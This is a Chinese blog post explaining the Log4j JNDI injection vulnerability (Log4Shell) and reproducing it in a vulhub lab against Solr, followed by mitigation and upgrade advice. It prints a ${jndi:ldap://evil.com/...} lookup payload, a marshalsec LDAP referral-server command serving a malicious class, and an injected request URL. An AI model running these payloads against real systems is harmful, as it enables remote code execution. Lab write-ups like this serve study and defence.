log4j JNDI注入漏洞

发布时间 2023-04-28 20:46:08作者: 灿灿灿灿灿

log4j JNDI注入漏洞

一、LDAP介绍

​ LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。

二、JDBC介绍

​ JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。

三、JNDI介绍

​ JNDI是一种规范,JNDI的全称是Java Naming and Directory Interface,Java 命名与目录接口。可以根据名字找到对应资源。

JNDI可以访问的服务:

LDAP目录服务、RMI远程方法调用、DNS、文件系统等。

四、JNDI命名引用

1、在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。

比如:远程HTTP服务的一个.class文件。

2、如果JNDI客户端,在LDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。

3、如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

五、log4j JNDI注入漏洞

​ Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

个人理解:(不一定正确)
log4j JNDI注入漏洞主要是因为log4j在日志记录的方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。

漏洞利用:

1、kali中开启vulhub中log4j的靶机

2、开启获取资源的http服务器

3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)

4、开启RMI/LDAP服务(本机的9999端口)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999

5、bp发送payload

http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}

修复思路:

1、禁止用户请求参数出现攻击关键字

2、禁止lookup下载远程文件(命名引用)

3、禁止log4j的应用连接外网

4、禁止log4j使用lookup

5、从log4j jar包中删除lookup(适合2.10以下版本)

修复方案:

1、将log4j框架升级到2.17.1版本

2、使用安全产品防护